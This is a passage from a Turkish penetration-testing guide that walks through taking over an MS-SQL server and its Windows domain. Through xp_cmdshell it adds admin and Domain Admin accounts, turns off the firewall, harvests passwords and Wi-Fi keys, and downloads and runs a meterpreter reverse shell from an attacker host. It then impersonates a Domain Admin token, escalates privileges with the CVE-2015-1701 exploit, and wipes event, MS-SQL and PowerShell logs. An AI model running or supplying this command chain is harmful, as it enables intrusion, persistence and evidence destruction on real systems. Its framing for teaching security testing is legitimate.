  • 29. EYÜP ÇELİK 28 http://www.eyupcelik.com.tr 28 Dip Not: MS-SQL 2012, 2014 ve 2016 sürümleri varsayılanda “MS-SQL Servis Hesabı” ile kurulmaktadır. Eğer sistem yöneticisi bu hak ve yetkileri değiştirmediyse, servis hesabı yetkilerine sahip olacağız. Servis hesabı yetkileri ile yönetimsel komutlar çalıştırılamamaktadır. Ancak yukarıdaki örnekteki gibi eğer servis hesabı, sistem hak ve yetkilerine ya da yönetici hesaplarından birinin hak ve yetkileri ile kurulmuş ise yönetimsel komutlar gönderebiliriz. Dip Not 2: Bundan sonraki kullanılacak komutları geliştirdiğimiz uygulama üzerinden sisteme göndereceğiz. 3.c.1 İşletim Sistemine Kullanıcı Hesabı Ekleme ve Yetkilendirme Aşağıdaki tabloda yer alan komutlar ile yerel bir kullanıcı hesabı oluşturabilir ve oluşturduğumuz hesaba yönetici hak ve yetkileri tanımlayabiliriz. İşlem Komut Yerel Kullanıcı Ekleme EXEC xp_cmdshell 'net user kullanıcıadı şifre /add'; Yetki Verme EXEC xp_cmdshell 'net localgroup administrators kullanıcıadı /add'; Kullanıcı Silme EXEC xp_cmdshell 'net user kullanıcıadı /del'; Mevcut Kullanıcının Hak ve Yetkilerini Öğrenme EXEC xp_cmdshell 'net user kullanıcıadı'; Eğer elde ettiğimiz MS-SQL kullanıcı hesabı “Domain” kullanıcısı ve domain’de de yetkili bir hesap ise, aşağıdaki komutlar ile kullanıcıyı domain’e ekleyerek yetkilendirebiliriz. Domain Kullanıcısı Ekleme EXEC xp_cmdshell 'net user kullanıcıadı şifre /add /domain'; Domain Admin Yetkisi EXEC xp_cmdshell 'net group "Domain Admins" kullanıcıadı /add /domain'; Domain Kullanıcısı Silme EXEC xp_cmdshell 'net user kullanıcıadı /del /domain'; Mevcut Domain Kullanıcısının Hak ve Yetkilerini Öğrenme EXEC xp_cmdshell 'net user kullanıcıadı /domain'; MS-SQL Kullanıcısı eklemek, hak ve yetki tanımlamak için de aşağıdaki komutlar kullanılabilir. MS-SQL Kullanıcısı Ekleme ve “sysadmin” Yetkisi Verme USE [master] CREATE LOGIN eyup WITH PASSWORD = N'P@ssw0rd1' EXEC sp_addsrvrolemember @loginame = N'eyup', @rolename = N'sysadmin'; Komutumuzun uygulama üzerinden çalıştırılması ve çıktısı aşağıdaki gibi olacaktır.
  • 30. EYÜP ÇELİK 29 http://www.eyupcelik.com.tr 29 3.c.2 Windows Servislerini Yönetme İşlem Komut Servisleri Listeleme EXEC xp_cmdshell 'net start'; Servis Çalıştırma EXEC xp_cmdshell 'net start "servis adı"'; Servis Durdurma EXEC xp_cmdshell 'net stop "servis adı"'; 3.c.3 İşlemleri Yönetme İşlem Komut Çalışan İşlemleri Listeleme EXEC xp_cmdshell 'tasklist'; Çalışan İşlemleri ve Bağımlılıklarını Listeleme EXEC xp_cmdshell 'tasklist /m'; Uzaktaki Bir Bilgisayarın İşlemlerini Listeleme EXEC xp_cmdshell 'tasklist /s ip /v'; (Bu işlem için bir domain hesabı ile MS-SQL'in ele geçirilmiş olması gerekiyor. Bknz. Bölüm 2.a.1) Bir İşlemi Kapatmaya Zorlama EXEC xp_cmdshell 'tasklist /PID pid /F'; Yüklü Uygulamaları Listeleme EXEC xp_cmdshell '"wmic product get name"'; Yüklü Bir Uygulamayı Kaldırma EXEC xp_cmdshell '"wmic product where name=uygulamanınadı call uninstall /nointeractive"'; 3.c.4 Dosya ve Dizinleri Yönetme İşlem Komut Bir Dizini Listeleme EXEC xp_cmdshell 'dir C:'; Klasör Oluşturma EXEC xp_cmdshell 'md "Klasör adı ve dizini"'; Dizin Silme EXEC xp_cmdshell 'rmdir /s /q "dizin"'; Dosya Kopyalama EXEC xp_cmdshell 'copy "Kaynak Dosya Yolu" "Hedef Dizin"';
  • 31. EYÜP ÇELİK 30 http://www.eyupcelik.com.tr 30 Tüm Dizinlerde “config” Dosyası Arama EXEC xp_cmdshell 'dir /a /s /b C:*.config'; (Dizin çok büyükse "Execution Timeout"a düşme ihtimalimiz yüksektir) Dosyalar içerisinde Şifre Arama EXEC xp_cmdshell 'findstr /si password *.txt|.xml|*.config'; Bir Dosya Okuma EXEC xp_cmdshell 'type "Dosyanın Yolu"'; 3.c.5 Ağı Yönetme İşlem Komut Bağlantı Bilgilerini Listeleme EXEC xp_cmdshell 'ipconfig /all'; DNS Cache’ini Listeleme EXEC xp_cmdshell 'ipconfig /displaydns'; Bağlantıları Listeleme EXEC xp_cmdshell 'netstat -ano'; Etkin Bağlantılar EXEC xp_cmdshell 'netstat -an| findstr ESTABLISHED'; Routing Tablosu EXEC xp_cmdshell 'route print'; ARP Cache’ini Listeleme EXEC xp_cmdshell 'arp -a'; Bağlanılan Kablosuz Ağları Listeleme EXEC xp_cmdshell 'netsh wlan show profiles'; Windows Güvenlik Duvarını Kapatma EXEC xp_cmdshell 'netsh Advfirewall set allprofiles state off'; Bağlanılan Kablosuz Ağ Şifrelerini Export Etme EXEC xp_cmdshell 'netsh wlan export profile name="Kablosuz Ağ Adı" folder="dizin" key=clear'; Ağ Kartlarını Listeleme EXEC xp_cmdshell 'netsh interface ip show interfaces'; Uzak Masaüstü’nü Aktif Etme EXEC xp_cmdshell 'reg add "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControl Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 1 /f'; 3.c.6 Windows Yamalarını Yönetme İşlem Komut Yüklü Yamaları Listeleme EXEC xp_cmdshell '"wmic qfe get Hotfixid"'; Yüklü Bir Yamayı Kaldırma EXEC xp_cmdshell '"wusa /uninstall /kb:id"'; 3.d MS-SQL Dosya İndirme ve Zararlı Kod Çalıştırma Bu bölümde MS-SQL’e dosya indirme ve zararlı kod çalıştırma konularına değineceğiz. Windows işletim sistemlerinde en büyük problemlerden biri dosya indirme sorunudur. Çünkü *nix işletim sistemlerinde wget ya da benzeri bir araç ile rahatlıkla sunucuya dosya indirebilirsiniz. Ancak Windows işletim sistemlerinde bu biraz zor. 3.d.1 Windows’a Dosya İndirme Windows işletim sistemine dosya indirmek için iki temel araç kullanabiliriz. 1. “BITS (Background Intelligent Transfer Service) Servisi” 2. Powershell. BITS servisini kullanarak işletim sistemine dosya indirebilmek için öncelikle BITS servisini çalışır duruma getirmemiz lazım. Bunun için “EXEC xp_cmdshell '"net start BITS"';” komutunu kullanıyoruz. Hemen ardından dosya indireceğimiz komutu giriyoruz. EXEC xp_cmdshell '"bitsadmin /transfer WarSQLiJob /download /priority normal http://eyupcelik.com.tr/malware.exe C:dizinmalware.exe"';
  • 32. EYÜP ÇELİK 31 http://www.eyupcelik.com.tr 31 Yukarıda bulunan komut ile bir web sayfasında bulunan dosyayı MS-SQL sunucusuna indirebiliriz. Programımız üzerinden dosya indirme komutunu verdik ve 7zip uygulamasını masaüstüne kaydettik. DECLARE @cmd NVARCHAR(250); DECLARE @URL NVARCHAR(100); DECLARE @file NVARCHAR(100); SET @URL ='http://eyupcelik.com.tr/malware.exe' SET @file='C:dizinmalware2.exe' SET @cmd ='powershell "(new-object System.Net.WebClient).DownloadFile('''+@URL+''','''+@file+''')"' EXEC master.dbo.xp_cmdshell @cmd Powershell üzerinden de ayrıca dosya indirebiliriz. Dosya indirebilmek için yukarıda yazılı olan kodu kullanabiliriz. Kod içerisinde belirtilen URL adresinden dosyayı belirtmiş olduğumuz dizine indirecektir. 3.d.2 Windows’a Zararlı Dosya İndirme ve Ters Bağlantı Alma Bir sızma testinde sadece MS-SQL veritabanını ele geçirmek yeterli olmayacaktır. Aynı zamanda sunucuyu ele geçirmek ve sunucuda oturum açan diğer kullanıcı hesaplarını da ele geçirmek gerekiyor. Böylece oturum açan kullanıcı hesaplarını elde ederek, başka sunucu ya da sistemleri ele geçirebiliriz. Bu dokümanda yapacağımız işlem ise MS-SQL sunucusuna “meterpreter” zararlısı indirerek, sunucudan ters bağlantı almak ve ardından domain controller’a erişmek olacaktır.
  • 33. EYÜP ÇELİK 32 http://www.eyupcelik.com.tr 32 MSFVenom aracı ile zararlı yazılım oluşturmak ve detayları için http://eyupcelik.com.tr/guvenlik/481-derinlemesine-msfvenom-a-bakis-ve- msfvenom-ile-backdoor-olusturma bu yazımı da okumanızı tavsiye ederim. MSFVenom ile meterpreter zararlısı oluşturarak /root/Desktop/db.exe dizinine kaydettik. Dosyayı /var/www/html dizinine taşıyalım ve ardından erişim yetkisi verelim. Dosyayı taşıyıp yetkiyi verdikten sonra, Apache servisini “service apache2 start” komutu ile başlatalım. Ardından “msfconsole” komutu ile Metasploit Framework’e erişelim. Bir handler başlattık ve reverse_tcp pyload’unu set ettik. Ardından bir job olarak başlattık. Şimdi MS-SQL sunucusuna erişip, Kali Linux makinamızdaki db.exe dosyasını veritabanı sunucumuza indirelim ve çalıştırarak backconnect alalım.
  • 34. EYÜP ÇELİK 33 http://www.eyupcelik.com.tr 33 Dosyayı MS-SQL sunucusuna indirdik. Geriye bir tek çalıştırmak kalıyor.
  • 35. EYÜP ÇELİK 34 http://www.eyupcelik.com.tr 34 MS-SQL sunucusuna indirdiğimiz db.exe dosyasını “EXEC xp_cmdshell '"cmd /c C:dbDesktopdb.exe"';” komutu ile çalıştırdık. Metasploit’e bağlantı geldi. Session’a eriştik. “SYSTEM” hak ve yetkilerine sahibiz. Metasploit “incognito” modülü ile sunucuda oturum açan diğer kullanıcı hesaplarına geçiş yapacağız. “load incognio” komutu ile “incognito” modülü yükledik. “list_token -u” komutu ile hesabına geçiş yapacağımız kullanıcıları listeledik. “SECURITYLABSdb” kullanıcısının oturumu olduğunu keşfettik. “impersonate_token SECURITYLABSdb” komutu ile db kullanışının hak ve yetkilerine geçiş yaptık.
  • 36. EYÜP ÇELİK 35 http://www.eyupcelik.com.tr 35 “shell” komutu ile Windows komut arabirimine düştük. “net user db /domain” komutu ile db kullanıcısının hak ve yetkilerini kontrol ettik. db kullanıcısı “Domain Admins” grubundaymış. Artık bu kullanıcı hak ve yetkileri ile domain’de istediğimiz komutu çalıştırabiliriz.
  • 37. EYÜP ÇELİK 36 http://www.eyupcelik.com.tr 36 Domain’e “eyupcelik” adında bir kullanıcı ekledik ve eklediğimiz kullanıcıyı “Domain Admins” grubuna dahil ettik. 3.d.3 Meterpreter ile Ters Bağlantı Alma Bu bölümde Metasploit Framework içerisinde yer alan “exploit/windows/mssql/mssql_payload” modülü ile ters bağlantı alma konusuna değineceğiz. Önceki konularda yaptığımızın aksine tüm bu işlemleri Metasploit ile otomatize hale getirebiliriz. Yukarıdaki örnekte görüleceği üzere kullanacağımız modülü seçtik. Bu modül ile birlikte kullanmak üzere PAYLOAD’umuzu set ettik. Ardından elde ettiğimiz şifre bilgisini ve meterpreter’ın geri döneceği IP adresimiz ile portumuzu belirledik. Bu exploiti çalıştırdığımızda artık hedefteki MS-SQL sunucusuna meterpreter zararlımızı göndererek çalıştırabiliriz. Bu işlem için “exploit -j” komutunu kullabiliriz. Hedefe meterpreter ajanımız gönderildikten sonra bir önceki bölümde yer alan tüm işlemleri gerçekleştirebiliriz.
  • 38. EYÜP ÇELİK 37 http://www.eyupcelik.com.tr 37 4. Hak ve Yetki Yükseltme Şimdiye kadar yaptığımız işlemlerde MS-SQL servisi “nt authoritysystem” hak ve yetkileri kurulduğu için yapabildik. Eğer servis bu hak ve yetkiler ile kurulmamış olsaydı birçok yönetici yetkisi isteyen komutu çalıştıramayacaktık maalesef. Bu bölümde düşük hak ve yetki ile kurulmuş MS-SQL servisinin hak ve yetkilerini yükseltme işlemine değineceğiz. Bir MS-SQL sunucusu varsayılanda aşağıdaki hak ve yetkiler ile çalışmaktadır. MS-SQL’i varsayılan servis yetkilere aldık. Hak ve yetkilerimizi kontrol ediyoruz. Hak ve yetkileri kontrol ettikten sonra, yeni kullanıcı eklemeyi denediğimizde erişim hatası alacağız.
  • 39. EYÜP ÇELİK 38 http://www.eyupcelik.com.tr 38 MS-SQL’ servis yetkilerinde çalışıyor ve dolayı ile kullanıcı ekleyemiyoruz yahut yönetici hak ve yetkilerinde komut çalıştıramıyoruz. Bu bizim için büyük bir sorun. Bu sorunu aşmak için “Windows Privilege Escalation” exploitlerinden yararlanmamız gerekiyor. Bu noktada imdadımıza “CVE-2015-1701”, “MS15-051” zayıflığını exploit edebilen “Taihou” yetişecektir. Yamamın yüklü olup olmadığını Bölüm 3.c.6’daki “Windows Yamaları Yönetme” konusuna bakabiliriz. Dip Not: Eğer ele geçirdiğimiz MS-SQL server’da “KB3045171” numaralı patch yüklü değil ise hak ve yetkimizi yükseltebiliriz. Tabi bu aynı zamanda açıklığı gidermek için de “KB3045171” nolu patch’i yüklememiz gerektiği anlamına geliyor. Taihou’yu https://github.com/hfiref0x/CVE-2015-1701 adresinden bilgisayarımıza indirelim. İndirme işlemi tamamlandıktan sonra “Taihou.sln” dosyasını çalıştırarak editlememiz daha sağlıklı olacaktır. Taihou’yu yukarıdaki gibi editledik. Buna göre Taihou’yu sunucuda çalıştırdığımızda bir “Privilege Escalation” işlemi gerçekleştirecektir. Ardından yönetici hak ve yetkileri ile “eyupcelikx” adında ve “P@ssw0rd1” parolası ile bir kullanıcı ekleyecek daha sonra eklediği bu kullanıcıyı da “Administrators” yerel yönetici grubuna ekleyecek. Kodu yukarıdaki gibi değiştirdikten sonra, projeyi 32 bit ve 64 bit olarak derleyelim. Hedefimizdeki işletim sistemi hangi mimaride çalışıyorsa derlediğimiz mimarideki Taihou’ya ait exe dosyasını sunucuya göndereceğiz. Bizim eriştiğimiz sunucu x64
  • 40. EYÜP ÇELİK 39 http://www.eyupcelik.com.tr 39 mimaride çalıştığı için biz derlediğimiz Taihou64.exe dosyasını sunucuya göndereceğiz. Bunun için de bölüm “3.d.1 Windows’a Dosya İndirme” konusuna göz atabilirsiniz. Derlediğimiz Taihou64.exe dosyasını Kali Linux’taki “/var/www/html” dizininin altına alalım. Ardından “chmod 777 Taihou64.exe” komutu ile dosyayı yetkilendirelim. Bu işlemin ardından artık MS-SQL sunucusuna Taihou64.exe dosyamızı indirmemiz lazım. Dosyayı indirirken dikkat etmemiz gereken en önemli nokta, servis hesabında çalışan MS-SQL sunucusunun okuma ve yazma yetkisinin olduğu bir dizine dosyayı indirerek çalıştırmaktır. Windows’da bu dizin “C:UsersPublic” dizinidir. Bu dizin tüm servis ve kullanıcılar tarafından okuma ve yazma işlemlerine izin veren bir dizindir. Dolayısı ile Taihou64.exe dosyamızı bu dizine indireceğiz. Ayrıca bu işlem için bölüm “2.a.1”de yer alan SMB servisini kullanarak da dosyamızı hedef sunucuya yükleyebiliriz. Dosyayı herhangi bir yöntem ile dizine indirdikten sonra gidip çalıştırmamız lazım. Uygulamayı çalıştırmak için “EXEC xp_cmdshell '"dosya dizini ve dosya adı"';” komutunu kullanabiliriz. Uygulamayı çalıştırdıktan sonra uygulama hak ve yetkilerimizi yükselterek “eyupcelikx” kullanıcısını sisteme ekledi ve administrators grubuna dahil etti. Daha sonra “net user” komutu ile sorguladığımızda kullanıcının eklendiğini görmekteyiz.
  • 41. EYÜP ÇELİK 40 http://www.eyupcelik.com.tr 40 Not: Bu işlem Windows Server 2008 R2 Service Pack 1 ve MS-SQL Server 2012 ve MS- SQL Server 2014 versiyonlarında test edilmiştir. Windows Server 20012 R2 işletim sisteminde çalışmamaktadır. 5. İzlerin Temizliği (Anti-Forensics) Bu kısımda tüm yaptığımız işlemlerin izlerinin silinmesi kısmına değineceğiz. Malum, yaptığımız tüm işlemler, attığımız her adım bir yerlerde loglanmakta ve sistem üzerinde izler bırakmaktayız. Geriye iz bırakmamak adına logların temizlenmesi gerekiyor. MS- SQL için 3 ayrı event log tutuluyor diyebiliriz. 1. Microsoft Event Log Yaptığımız bazı işlemler Microsoft Event Log’da loglanabilir. Microsoft Event Log temel olarak “Application”, “Security”, “Setup” ve “System” başlıkları altında loglama yapmaktadır. Bu logların temizlenmesi için aşağıdaki komutları kullanabiliriz. İşlem Komut Application Log EXEC xp_cmdshell 'wevtutil clear-log Application'; Security Log EXEC xp_cmdshell 'wevtutil clear-log Security'; Setup Log EXEC xp_cmdshell 'wevtutil clear-log Setup'; System Log EXEC xp_cmdshell 'wevtutil clear-log System'; Routing Tablosu EXEC xp_cmdshell 'route print'; 2. MS-SQL Log MS-SQL standart Windows Log servisi dışında kendi loglama sistemini de kullanmaktadır. MS-SQL Log’ları her MS-SQL servisi için ayrı bir dizinde tutulmaktadır. Bu dizini bulmak için “EXEC sp_readerrorlog” stored procedure’ünü kullanabiliriz. Bu procedure bize MS-SQL ile ilgili bir takım bilgiler getirecektir. Procedure çalıştırıldıktan sonra bize dönen verinin 7. Satırında MS-SQL log dizini yer almaktadır. Yukarıdaki ekranda görüleceği üzere bağlandığımız MS-SQL servisinin Log dizini 7. Satırda görülmektedir. Log dizininden sonraki parametreyi silerek MS-SQL log dizinini temizlememiz gerekiyor. Bunun için aşağıdaki komutu kullanabiliriz. İşlem Komut MS-SQL Log Temizleme EXEC xp_cmdshell 'DEL /F /S /Q "C:Program FilesMicrosoft SQL ServerMSSQL11.MSSQLSERVERMSSQLLog*.*"'; Tabiki yukarıdaki komutu olduğu gibi kullanırsanız hata alma olasılığınız çok yüksek. Bu yüzden sp_readerrorlog procedure’ü ile log dizinini almak zorundayız. Dip Not: Bu komut son MS-SQL loglarını silmemektedir. Son log dosyası MS-SQL servisi tarafından kullanıldığı için dosyaya erişim kısıtı mevcuttur. Bu sorunu aşmak için ise
  • 42. EYÜP ÇELİK 41 http://www.eyupcelik.com.tr 41 logları silmeden önce “EXEC sp_cycle_errorlog” stored procedure’ü ile halihazırda kullanılmak olan log dosyasının kullanımdan çıkarılarak yeni dosya oluşturulmasını sağlayarak, yukarıdaki komutu çalıştırdığımızda tüm logları temizlemiş oluruz. 3. Powershell Log Bazı durumlarda “powershell” komutları ile işletim sisteminde komutlar yürütmemiz gerekebiliyor. Bu durumda eğer sistem powershell komutlarının girdi ve çıktılarını logluyor ise bu logların da temizlenmesi gerekiyor. Powershell loglama eğer “Group Policy” ile açılmış ise detaylı bir loglama yapılır. Bu detaylı loglama tüm powershell komut ve scriptlerinin içerikleri ile birlikte loglanması anlamına gelmektedir. Varsayılanda powershell aşağıdaki log dosyalarını kullanır. a. Windows PowerShell.evtx b. Microsoft-Windows-PowerShell-Operational.evtx c. Microsoft-Windows-PowerShell-Analytic.etl Ayrıca tüm log dosyaları “C:WindowsSystem32winevtLogs” dizininde yer almaktadır. Bu dizinin temizlenmesi yada yukarıda sıraladığım Powershell loğlarının temizlenmesi yeterli olacaktır.